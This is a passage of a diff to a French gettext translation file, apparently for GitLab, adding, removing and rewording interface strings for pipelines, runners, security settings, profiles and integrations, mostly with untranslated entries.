msgstr[1] "%d éléments de plus"
+msgid "One or more contacts were successfully added."
+msgstr ""
+
+msgid "One or more contacts were successfully removed."
+msgstr ""
+
msgid "One or more groups that you don't have access to."
msgstr ""
@@ -24056,6 +24444,9 @@ msgstr ""
msgid "Only effective when remote storage is enabled. Set to 0 for no size limit."
msgstr ""
+msgid "Only enable search after installing the plugin, enabling indexing, and recreating the index."
+msgstr ""
+
msgid "Only include features new to your current subscription tier."
msgstr ""
@@ -24077,6 +24468,9 @@ msgstr ""
msgid "Only reCAPTCHA v2 is supported:"
msgstr ""
+msgid "Only use lowercase letters, numbers, and underscores."
+msgstr ""
+
msgid "Only users from the specified IP address ranges are able to reach this group, including all subgroups, projects, and Git repositories."
msgstr ""
@@ -24095,7 +24489,7 @@ msgstr "Ouvert"
msgid "Open Selection"
msgstr ""
-msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
+msgid "Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
msgstr ""
msgid "Open epics"
@@ -24335,6 +24729,9 @@ msgstr ""
msgid "Package type must be Maven"
msgstr ""
+msgid "Package type must be NPM"
+msgstr ""
+
msgid "Package type must be NuGet"
msgstr ""
@@ -24691,6 +25088,9 @@ msgstr ""
msgid "Page settings"
msgstr ""
+msgid "Page size"
+msgstr ""
+
msgid "PagerDutySettings|Active"
msgstr ""
@@ -24787,9 +25187,6 @@ msgstr ""
msgid "Password"
msgstr "Mot de Passe"
-msgid "Password (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Password (optional)"
msgstr ""
@@ -25042,6 +25439,12 @@ msgstr ""
msgid "Pipeline %{label} for \"%{dataTitle}\""
msgstr ""
+msgid "Pipeline Editor"
+msgstr ""
+
+msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
+msgstr ""
+
msgid "Pipeline ID"
msgstr ""
@@ -25357,9 +25760,6 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
-msgid "Pipelines|No artifacts available"
-msgstr ""
-
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -25489,6 +25889,9 @@ msgstr ""
msgid "Pipeline|Created"
msgstr ""
+msgid "Pipeline|Creating pipeline."
+msgstr ""
+
msgid "Pipeline|Date"
msgstr ""
@@ -25504,9 +25907,6 @@ msgstr ""
msgid "Pipeline|In progress"
msgstr ""
-msgid "Pipeline|Key"
-msgstr ""
-
msgid "Pipeline|Manual"
msgstr ""
@@ -25597,12 +25997,12 @@ msgstr ""
msgid "Pipeline|Triggerer"
msgstr ""
-msgid "Pipeline|Value"
-msgstr ""
-
msgid "Pipeline|Variables"
msgstr "Variables"
+msgid "Pipeline|View commit"
+msgstr ""
+
msgid "Pipeline|View pipeline"
msgstr ""
@@ -25741,6 +26141,9 @@ msgstr ""
msgid "Please enter a valid number"
msgstr ""
+msgid "Please enter a valid time interval"
+msgstr ""
+
msgid "Please enter or upload a valid license."
msgstr ""
@@ -25768,9 +26171,6 @@ msgstr ""
msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
msgstr "Veuillez noter que cette application n’est pas fournie par GitLab, vous devriez vérifier son authenticité avant d’autoriser son accès."
-msgid "Please only enable search after installing the plugin, enabling indexing and recreating the index"
-msgstr ""
-
msgid "Please provide a name"
msgstr ""
@@ -26011,8 +26411,8 @@ msgstr ""
msgid "Prev"
msgstr ""
-msgid "Prevent adding new members to project membership within this group"
-msgstr "Empêcher l’ajout de nouveaux membres au projet au sein de ce groupe"
+msgid "Prevent adding new members to projects within this group"
+msgstr ""
msgid "Prevent auto-stopping"
msgstr ""
@@ -26293,8 +26693,8 @@ msgstr ""
msgid "Profiles|Do not show on profile"
msgstr "Ne pas montrer sur le profil"
-msgid "Profiles|Don't display activity-related personal information on your profiles"
-msgstr "Ne pas afficher les informations personnelles liées à l’activité sur vos profils"
+msgid "Profiles|Don't display activity-related personal information on your profile"
+msgstr ""
msgid "Profiles|Edit Profile"
msgstr "Modifier le profil"
@@ -26314,13 +26714,13 @@ msgstr ""
msgid "Profiles|Enter your pronouns to let people know how to refer to you"
msgstr ""
-msgid "Profiles|Expired key is not valid."
+msgid "Profiles|Expiration date"
msgstr ""
-msgid "Profiles|Expired:"
+msgid "Profiles|Expired key is not valid."
msgstr ""
-msgid "Profiles|Expires at"
+msgid "Profiles|Expired:"
msgstr ""
msgid "Profiles|Expires:"
@@ -26362,13 +26762,16 @@ msgstr "Nom d’utilisateur incorrect"
msgid "Profiles|Key"
msgstr ""
-msgid "Profiles|Key can still be used after expiration."
+msgid "Profiles|Key becomes invalid on this date."
msgstr ""
-msgid "Profiles|Key usable beyond expiration date."
+msgid "Profiles|Key becomes invalid on this date. Maximum lifetime for SSH keys is %{max_ssh_key_lifetime} days"
msgstr ""
-msgid "Profiles|Key will be deleted on this date."
+msgid "Profiles|Key can still be used after expiration."
+msgstr ""
+
+msgid "Profiles|Key usable beyond expiration date."
msgstr ""
msgid "Profiles|Last used:"
@@ -26698,9 +27101,6 @@ msgstr ""
msgid "Project name"
msgstr "Nom du projet"
-msgid "Project name suffix"
-msgstr ""
-
msgid "Project navigation"
msgstr ""
@@ -26779,6 +27179,9 @@ msgstr ""
msgid "ProjectOverview|Unstar"
msgstr "Supprimer l’étoile"
+msgid "ProjectOverview|You don't have permission to fork this project"
+msgstr ""
+
msgid "ProjectOverview|You have reached your project limit"
msgstr "Vous avez atteint la limite de votre projet"
@@ -27046,12 +27449,18 @@ msgstr ""
msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
msgstr ""
+msgid "ProjectSettings|Maximum 500 characters."
+msgstr ""
+
msgid "ProjectSettings|Merge checks"
msgstr ""
msgid "ProjectSettings|Merge commit"
msgstr ""
+msgid "ProjectSettings|Merge commit message template"
+msgstr ""
+
msgid "ProjectSettings|Merge commit with semi-linear history"
msgstr ""
@@ -27121,6 +27530,9 @@ msgstr ""
msgid "ProjectSettings|Requirements management system."
msgstr ""
+msgid "ProjectSettings|Search for topic"
+msgstr ""
+
msgid "ProjectSettings|Security & Compliance"
msgstr ""
@@ -27145,6 +27557,9 @@ msgstr ""
msgid "ProjectSettings|Snippets"
msgstr ""
+msgid "ProjectSettings|Squash commit message template"
+msgstr ""
+
msgid "ProjectSettings|Squash commits when merging"
msgstr ""
@@ -27166,6 +27581,12 @@ msgstr ""
msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
+msgid "ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|The default target project for merge requests created in this fork project."
msgstr ""
@@ -27370,6 +27791,9 @@ msgstr ""
msgid "Projects with no vulnerabilities and security scanning enabled"
msgstr ""
+msgid "Projects with this topic"
+msgstr ""
+
msgid "Projects with write access"
msgstr ""
@@ -27577,6 +28001,9 @@ msgstr "Promouvoir"
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote issue to incident"
+msgstr ""
+
msgid "Promote to epic"
msgstr ""
@@ -27595,9 +28022,15 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotes issue to incident"
+msgstr ""
+
msgid "Promotion is not supported."
msgstr ""
+msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
+msgstr ""
+
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr ""
@@ -27958,6 +28391,9 @@ msgstr "Public - le projet est accessible sans aucune authentification."
msgid "Public Access Help"
msgstr ""
+msgid "Public deploy keys"
+msgstr ""
+
msgid "Public deploy keys (%{deploy_keys_count})"
msgstr ""
@@ -28120,6 +28556,9 @@ msgstr ""
msgid "PushoverService|Total commits count: %{total_commits_count}"
msgstr ""
+msgid "QualitySummary|Project quality"
+msgstr ""
+
msgid "Quarters"
msgstr "Trimestres"
@@ -28234,6 +28673,12 @@ msgstr ""
msgid "Recaptcha verified?"
msgstr ""
+msgid "Receive a $50 gift card as a thank you for your time."
+msgstr ""
+
+msgid "Receive a %{strongOpen}$50 gift card%{strongClose} as a thank you for your time."
+msgstr ""
+
msgid "Receive alerts from manually configured Prometheus servers."
msgstr ""
@@ -28335,9 +28780,6 @@ msgstr ""
msgid "Regex pattern"
msgstr "Expression rationnelle"
-msgid "Region that Elasticsearch is configured"
-msgstr ""
-
msgid "Register"
msgstr ""
@@ -28505,6 +28947,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove Zoom meeting."
+msgstr ""
+
msgid "Remove access"
msgstr ""
@@ -28532,6 +28977,9 @@ msgstr ""
msgid "Remove assignee"
msgstr ""
+msgid "Remove attention request"
+msgstr ""
+
msgid "Remove avatar"
msgstr "Supprimer l’avatar"
@@ -28541,6 +28989,12 @@ msgstr ""
msgid "Remove child epic from an epic"
msgstr ""
+msgid "Remove customer relation contact(s)."
+msgstr ""
+
+msgid "Remove customer relation contacts"
+msgstr ""
+
msgid "Remove deploy key"
msgstr ""
@@ -28658,15 +29112,15 @@ msgstr ""
msgid "Removed %{reviewer_text} %{reviewer_references}."
msgstr ""
-msgid "Removed %{type} with id %{id}"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
msgid "Removed an issue from an epic."
msgstr ""
+msgid "Removed attention request from @%{username}"
+msgstr ""
+
msgid "Removed group can not be restored!"
msgstr "Un groupe supprimé ne peut être restauré !"
@@ -28682,6 +29136,9 @@ msgstr ""
msgid "Removed time estimate."
msgstr ""
+msgid "Removed upload with id %{id}"
+msgstr ""
+
msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
msgstr ""
@@ -28751,6 +29208,9 @@ msgstr ""
msgid "Reopen %{issueType}"
msgstr ""
+msgid "Reopen %{noteable}"
+msgstr ""
+
msgid "Reopen epic"
msgstr "Rouvrir l’épopée"
@@ -28775,6 +29235,9 @@ msgstr ""
msgid "Replace"
msgstr ""
+msgid "Replace %{blob_name}"
+msgstr ""
+
msgid "Replace %{name}"
msgstr ""
@@ -28954,6 +29417,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Average test coverage last 30 days"
msgstr ""
+msgid "RepositoriesAnalytics|Code Coverage: %{averageCoverage}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -28975,6 +29441,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Jobs with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Jobs with Coverage: %{coverageCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Last Update"
msgstr ""
@@ -28993,6 +29462,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Projects with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Coverage: %{projectCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
@@ -29071,7 +29543,7 @@ msgstr ""
msgid "Repository update events"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / Pipeline Artifacts: %{counter_pipeline_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -29086,6 +29558,12 @@ msgstr "Demander l’accès"
msgid "Request a new one"
msgstr ""
+msgid "Request attention"
+msgstr ""
+
+msgid "Request attention to review"
+msgstr ""
+
msgid "Request details"
msgstr ""
@@ -29107,6 +29585,9 @@ msgstr ""
msgid "Requested %{time_ago}"
msgstr ""
+msgid "Requested attention from @%{username}"
+msgstr ""
+
msgid "Requested design version does not exist."
msgstr ""
@@ -29146,6 +29627,9 @@ msgstr ""
msgid "Required in this project."
msgstr ""
+msgid "Required only if you are not using role instance credentials."
+msgstr ""
+
msgid "Requirement %{reference} has been added"
msgstr ""
@@ -29213,6 +29697,9 @@ msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset file"
+msgstr ""
+
msgid "Reset filters"
msgstr ""
@@ -29529,6 +30016,9 @@ msgstr "Page des exécuteurs."
msgid "Runners|Active"
msgstr ""
+msgid "Runners|All"
+msgstr ""
+
msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
msgstr ""
@@ -29583,6 +30073,9 @@ msgstr ""
msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
msgstr ""
+msgid "Runners|Group"
+msgstr ""
+
msgid "Runners|Group Runners"
msgstr ""
@@ -29595,6 +30088,9 @@ msgstr ""
msgid "Runners|Install a runner"
msgstr ""
+msgid "Runners|Instance"
+msgstr ""
+
msgid "Runners|Last contact"
msgstr ""
@@ -29616,6 +30112,9 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|No recent contact from this runner; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Not available to run jobs"
msgstr ""
@@ -29628,12 +30127,18 @@ msgstr ""
msgid "Runners|Online"
msgstr ""
+msgid "Runners|Online Runners"
+msgstr ""
+
msgid "Runners|Paused"
msgstr ""
msgid "Runners|Platform"
msgstr ""
+msgid "Runners|Project"
+msgstr ""
+
msgid "Runners|Property Name"
msgstr ""
@@ -29667,6 +30172,9 @@ msgstr ""
msgid "Runners|Runner #%{runner_id}"
msgstr ""
+msgid "Runners|Runner ID"
+msgstr ""
+
msgid "Runners|Runner assigned to project."
msgstr ""
@@ -29676,6 +30184,9 @@ msgstr ""
msgid "Runners|Runner is online, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner is online; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
@@ -29706,12 +30217,18 @@ msgstr ""
msgid "Runners|Something went wrong while fetching the tags suggestions"
msgstr ""
+msgid "Runners|Status"
+msgstr ""
+
msgid "Runners|Stop the runner from accepting new jobs."
msgstr ""
msgid "Runners|Tags"
msgstr ""
+msgid "Runners|This runner has never connected to this instance"
+msgstr ""
+
msgid "Runners|This runner is associated with one or more projects."
msgstr ""
@@ -29769,19 +30286,25 @@ msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr ""
-msgid "Runners|group"
+msgid "Runners|active"
msgstr ""
-msgid "Runners|instance"
+msgid "Runners|group"
msgstr ""
msgid "Runners|locked"
msgstr ""
-msgid "Runners|paused"
+msgid "Runners|not connected"
+msgstr ""
+
+msgid "Runners|offline"
msgstr ""
-msgid "Runners|project"
+msgid "Runners|online"
+msgstr ""
+
+msgid "Runners|paused"
msgstr ""
msgid "Runners|shared"
@@ -29862,21 +30385,6 @@ msgstr ""
msgid "SVG illustration"
msgstr ""
-msgid "SastEntryPoints|Add Security Testing"
-msgstr ""
-
-msgid "SastEntryPoints|Catch your security vulnerabilities ahead of time!"
-msgstr ""
-
-msgid "SastEntryPoints|GitLab can scan your code for security vulnerabilities. Static Application Security Testing (SAST) helps you worry less and build more."
-msgstr ""
-
-msgid "SastEntryPoints|How do I set up SAST?"
-msgstr ""
-
-msgid "SastEntryPoints|Learn more"
-msgstr ""
-
msgid "Satisfied"
msgstr ""
@@ -30253,6 +30761,9 @@ msgstr ""
msgid "Secure token that identifies an external storage request."
msgstr ""
+msgid "SecureCodeWarrior"
+msgstr ""
+
msgid "Security"
msgstr "Sécurité"
@@ -30277,6 +30788,9 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "Security training with guide and learning pathways."
+msgstr ""
+
msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability."
msgstr ""
@@ -30325,7 +30839,7 @@ msgstr ""
msgid "SecurityConfiguration|Available with Ultimate"
msgstr ""
-msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
+msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the merge request."
msgstr ""
msgid "SecurityConfiguration|Compliance"
@@ -30340,7 +30854,7 @@ msgstr ""
msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure with a merge request"
msgstr ""
msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
@@ -30352,7 +30866,7 @@ msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
-msgid "SecurityConfiguration|Create Merge Request"
+msgid "SecurityConfiguration|Create merge request"
msgstr ""
msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
@@ -30412,6 +30926,9 @@ msgstr ""
msgid "SecurityConfiguration|Security testing"
msgstr ""
+msgid "SecurityConfiguration|Security training"
+msgstr ""
+
msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr ""
@@ -30421,6 +30938,9 @@ msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability Management"
+msgstr ""
+
msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
msgstr ""
@@ -30445,6 +30965,12 @@ msgstr ""
msgid "SecurityOrchestration|An error occurred assigning your security policy project"
msgstr ""
+msgid "SecurityOrchestration|An error occurred unassigning your security policy project"
+msgstr ""
+
+msgid "SecurityOrchestration|Choose a project"
+msgstr ""
+
msgid "SecurityOrchestration|Description"
msgstr ""
@@ -30514,7 +31040,10 @@ msgstr ""
msgid "SecurityOrchestration|Scan execution policies can only be created by project owners."
msgstr ""
-msgid "SecurityOrchestration|Scan to be performed every %{cadence} on the %{branches}"
+msgid "SecurityOrchestration|Scan to be performed %{cadence}"
+msgstr ""
+
+msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
msgstr ""
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
@@ -30523,6 +31052,9 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr ""
+msgid "SecurityOrchestration|Security policy project was unlinked successfully"
+msgstr ""
+
msgid "SecurityOrchestration|Select a project to store your security policies in. %{linkStart}More information.%{linkEnd}"
msgstr ""
@@ -30544,6 +31076,12 @@ msgstr ""
msgid "SecurityOrchestration|To widen your search, change filters above or select a different security policy project."
msgstr ""
+msgid "SecurityOrchestration|Unlink project"
+msgstr ""
+
+msgid "SecurityOrchestration|Unlinking a security project removes all policies stored in the linked security project. Save to confirm this action."
+msgstr ""
+
msgid "SecurityOrchestration|Update scan execution policies"
msgstr ""
@@ -30763,7 +31301,7 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
-msgid "SecurityReports|The Vulnerability Report shows the results of the lastest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
+msgid "SecurityReports|The Vulnerability Report shows the results of the latest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
@@ -30796,6 +31334,9 @@ msgstr ""
msgid "SecurityReports|There was an error while generating the report."
msgstr ""
+msgid "SecurityReports|These vulnerabilities were detected in external sources. They are not necessarily tied to your GitLab project. For example, running containers, URLs, and so on."
+msgstr ""
+
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
@@ -30934,6 +31475,9 @@ msgstr ""
msgid "Select assignee"
msgstr ""
+msgid "Select assignee(s)"
+msgstr ""
+
msgid "Select branch"
msgstr ""
@@ -31138,9 +31682,6 @@ msgstr ""
msgid "Sep"
msgstr "sept."
-msgid "Separate topics with commas."
-msgstr ""
-
msgid "September"
msgstr "septembre"
@@ -31240,7 +31781,16 @@ msgstr ""
msgid "Service"
msgstr ""
-msgid "Service Accounts keys are required to authorize GitLab to deploy your Google Cloud project."
+msgid "Service Account"
+msgstr ""
+
+msgid "Service Account Key"
+msgstr ""
+
+msgid "Service Accounts"
+msgstr ""
+
+msgid "Service Accounts keys authorize GitLab to deploy your Google Cloud project"
msgstr ""
msgid "Service Desk"
@@ -31252,6 +31802,9 @@ msgstr ""
msgid "Service URL"
msgstr "URL du service"
+msgid "Service account generated successfully"
+msgstr ""
+
msgid "Service ping is disabled in your configuration file, and cannot be enabled through this form."
msgstr ""
@@ -31297,6 +31850,9 @@ msgstr ""
msgid "ServicePing|Turn on service ping to review instance-level analytics."
msgstr ""
+msgid "Services"
+msgstr ""
+
msgid "Session ID"
msgstr ""
@@ -31378,6 +31934,9 @@ msgstr ""
msgid "Set the iteration to %{iteration_reference}."
msgstr ""
+msgid "Set the maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "Set the maximum session time for a web terminal."
msgstr ""
@@ -31435,9 +31994,6 @@ msgstr ""
msgid "Set what should be replicated by this secondary site."
msgstr ""
-msgid "SetPasswordToCloneLink|set a password"
-msgstr "définir un mot de passe"
-
msgid "SetStatusModal|Add status emoji"
msgstr "Ajouter un émoji d’état"
@@ -31512,9 +32068,6 @@ msgid_plural "Settings saved successfully"
msgstr[0] ""
msgstr[1] ""
-msgid "Setting this to 0 means using the system default timeout value."
-msgstr ""
-
msgid "Settings"
msgstr "Paramètres"
@@ -31581,6 +32134,27 @@ msgstr "Réinitialiser les minutes du pipeline utilisées"
msgid "Sherlock Transactions"
msgstr "Transactions Sherlock"
+msgid "Shimo|Go to Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Link to a Shimo Workspace from the sidebar."
+msgstr ""
+
+msgid "Shimo|Shimo"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace URL"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace integration is enabled"
+msgstr ""
+
+msgid "Shimo|You've enabled the Shimo Workspace integration. You can view your wiki directly in Shimo."
+msgstr ""
+
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account."
msgstr ""
@@ -31596,6 +32170,9 @@ msgstr ""
msgid "Show all activity"
msgstr ""
+msgid "Show all breadcrumbs"
+msgstr ""
+
msgid "Show all issues."
msgstr ""
@@ -31644,18 +32221,9 @@ msgstr "Afficher la dernière version"
msgid "Show list"
msgstr ""
-msgid "Show me how to add a pipeline"
-msgstr ""
-
msgid "Show one file at a time"
msgstr ""
-msgid "Show parent pages"
-msgstr "Afficher les pages parentes"
-
-msgid "Show parent subgroups"
-msgstr "Afficher les sousâ€groupes parents"
-
msgid "Show the Closed list"
msgstr ""
@@ -32020,6 +32588,12 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr "Une erreur est survenue lors de la tentative de modification de l’état de verrouillage de ce·t·te %{issuableDisplayName}"
+msgid "Something went wrong trying to load issue contacts."
+msgstr ""
+
+msgid "Something went wrong when creating a work item. Please try again"
+msgstr ""
+
msgid "Something went wrong when reordering designs. Please try again"
msgstr ""
@@ -32104,9 +32678,6 @@ msgstr ""
msgid "Something went wrong while fetching the environments for this merge request. Please try again."
msgstr "Une erreur est survenue lors de la récupération des environnements pour cette demande de fusion. Veuillez réessayer."
-msgid "Something went wrong while fetching the package."
-msgstr ""
-
msgid "Something went wrong while fetching the packages list."
msgstr ""
@@ -32383,9 +32954,6 @@ msgstr "Source (branche ou étiquette)"
msgid "Source Branch"
msgstr ""
-msgid "Source Editor instance is required to set up an extension."
-msgstr ""
-
msgid "Source IP"
msgstr ""
@@ -32404,6 +32972,33 @@ msgstr "La source n’est pas disponible"
msgid "Source project cannot be found."
msgstr ""
+msgid "SourceEditor|\"el\" parameter is required for createInstance()"
+msgstr ""
+
+msgid "SourceEditor|%{name} is not registered."
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either a class or a function"
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either class, function, or an Array of definitions."
+msgstr ""
+
+msgid "SourceEditor|Extensions Store is required to check for an extension."
+msgstr ""
+
+msgid "SourceEditor|Name conflict for \"%{prop}()\" method."
+msgstr ""
+
+msgid "SourceEditor|No extension for unuse has been specified."
+msgstr ""
+
+msgid "SourceEditor|Source Editor instance is required to set up an extension."
+msgstr ""
+
+msgid "SourceEditor|`definition` property is expected on the extension."
+msgstr ""
+
msgid "Sourcegraph"
msgstr ""
@@ -32557,9 +33152,6 @@ msgstr ""
msgid "Start a review"
msgstr "Démarrer une revue de code"
-msgid "Start and due date"
-msgstr "Dates de début et d’échéance"
-
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -32704,6 +33296,9 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{failed} failed"
+msgstr ""
+
msgid "StatusCheck|%{pending} pending"
msgstr ""
@@ -32725,7 +33320,7 @@ msgstr ""
msgid "StatusCheck|Apply this status check to all branches or a specific protected branch."
msgstr ""
-msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgid "StatusCheck|Check for a status response in merge requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
msgstr ""
msgid "StatusCheck|Examples: QA, Security."
@@ -32734,6 +33329,9 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
+msgid "StatusCheck|Failed to load status checks"
+msgstr ""
+
msgid "StatusCheck|Failed to load status checks."
msgstr ""
@@ -32755,6 +33353,12 @@ msgstr ""
msgid "StatusCheck|Status checks"
msgstr ""
+msgid "StatusCheck|Status checks all passed"
+msgstr ""
+
+msgid "StatusCheck|Status checks are being fetched"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
@@ -32770,6 +33374,9 @@ msgstr ""
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
+msgid "StatusCheck|status checks"
+msgstr ""
+
msgid "StatusPage|AWS %{docsLink}"
msgstr ""
@@ -33755,10 +34362,10 @@ msgstr ""
msgid "Terraform|Terraform init command"
msgstr ""
-msgid "Terraform|The report %{name} failed to generate."
+msgid "Terraform|The job %{name} failed to generate a report."
msgstr ""
-msgid "Terraform|The report %{name} was generated in your pipelines."
+msgid "Terraform|The job %{name} generated a report."
msgstr ""
msgid "Terraform|To get access to this terraform state from your local computer, run the following command at the command line. The first line requires a personal access token with API read and write access. %{linkStart}How do I create a personal access token?%{linkEnd}."
@@ -34013,7 +34620,7 @@ msgstr ""
msgid "The URL should start with http:// or https://"
msgstr ""
-msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
+msgid "The URLs for connecting to Elasticsearch. For clustering, add the URLs separated by commas."
msgstr ""
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
@@ -34049,7 +34656,10 @@ msgstr ""
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr "La connexion expirera après %{timeout}. Pour les dépôts qui nécessitent plus de temps, utilisez une combinaison de clone et push."
-msgid "The contact does not belong to the same group as the issue."
+msgid "The contact does not belong to the same group as the issue"
+msgstr ""
+
+msgid "The content editor may change the markdown formatting style of the document, which may not match your original markdown style."
msgstr ""
msgid "The content of this page is not encoded in UTF-8. Edits can only be made via the Git repository."
@@ -34255,9 +34865,6 @@ msgstr ""
msgid "The maximum number of pipeline minutes that a group can use on shared runners per month. 0 for unlimited."
msgstr ""
-msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
-msgstr ""
-
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -34390,9 +34997,6 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The source branch will be deleted"
-msgstr ""
-
msgid "The specified tab is invalid, please select another"
msgstr ""
@@ -34447,6 +35051,9 @@ msgstr ""
msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
msgstr ""
+msgid "There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
+msgstr ""
+
msgid "There are currently no events."
msgstr ""
@@ -34543,9 +35150,6 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
-msgid "There are pending advanced search migrations which require indexing to be paused. Indexing must remain paused until the migrations are completed."
-msgstr ""
-
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
